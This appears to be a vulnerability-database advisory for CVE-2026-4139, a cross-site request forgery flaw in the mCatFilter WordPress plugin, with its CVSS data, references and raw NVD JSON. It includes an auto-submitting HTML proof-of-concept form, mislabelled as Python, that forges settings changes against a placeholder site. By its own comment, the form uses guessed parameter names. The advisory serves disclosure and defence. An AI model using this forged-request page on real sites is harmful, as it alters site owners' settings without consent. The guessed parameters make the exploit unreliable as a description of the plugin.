CVE-2026-4139

Description

The mCatFilter plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 0.5.2. This is due to the complete absence of nonce verification and capability checks in the compute_post() function, which processes settings updates. The compute_post() function is called in the plugin constructor on every page load via the plugins_loaded hook, and it directly processes $_POST data to modify plugin settings via update_option() without any CSRF token validation. This makes it possible for unauthenticated attackers to modify all plugin settings, including category exclusion rules, feed exclusion flags, and tag page exclusion flags, via a forged POST request, granted they can trick a site administrator into performing an action such as clicking a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

mCatFilter <= 0.5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-4139: CSRF in mCatFilter -->
<!-- This HTML page demonstrates how an attacker can forge a request to modify plugin settings -->
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://target-wordpress-site.com/" method="POST">
      <!-- The specific parameter names depend on the plugin's source code implementation -->
      <!-- These names represent the settings vulnerable to modification -->
      <input type="hidden" name="mcat_exclude_cat" value="all" />
      <input type="hidden" name="mcat_exclude_feed" value="1" />
      <input type="hidden" name="mcat_exclude_tag" value="1" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Automatically submit the form when the victim loads the page
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4139
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4139
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4139/
[4] VulDB https://vuldb.com/cve/CVE-2026-4139
[5] https://plugins.trac.wordpress.org/browser/mcatfilter/tags/0.5.2/mcatfilter.php#L138
[6] https://plugins.trac.wordpress.org/browser/mcatfilter/tags/0.5.2/mcatfilter.php#L320
[7] https://plugins.trac.wordpress.org/browser/mcatfilter/tags/0.5.2/mcatfilter.php#L339
[8] https://plugins.trac.wordpress.org/browser/mcatfilter/trunk/mcatfilter.php#L138
[9] https://plugins.trac.wordpress.org/browser/mcatfilter/trunk/mcatfilter.php#L320
[10] https://plugins.trac.wordpress.org/browser/mcatfilter/trunk/mcatfilter.php#L339
[11] https://www.wordfence.com/threat-intel/vulnerabilities/id/622ee6c8-7739-44ae-b88f-63a93c0a9b20?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4139", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:24.707", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mCatFilter plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 0.5.2. This is due to the complete absence of nonce verification and capability checks in the compute_post() function, which processes settings updates. The compute_post() function is called in the plugin constructor on every page load via the plugins_loaded hook, and it directly processes $_POST data to modify plugin settings via update_option() without any CSRF token validation. This makes it possible for unauthenticated attackers to modify all plugin settings, including category exclusion rules, feed exclusion flags, and tag page exclusion flags, via a forged POST request, granted they can trick a site administrator into performing an action such as clicking a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mcatfilter/tags/0.5.2/mcatfilter.php#L138", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mcatfilter/tags/0.5.2/mcatfilter.php#L320", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mcatfilter/tags/0.5.2/mcatfilter.php#L339", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mcatfilter/trunk/mcatfilter.php#L138", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mcatfilter/trunk/mcatfilter.php#L320", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mcatfilter/trunk/mcatfilter.php#L339", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/622ee6c8-7739-44ae-b88f-63a93c0a9b20?source=cve", "source": "[email protected]"}]}}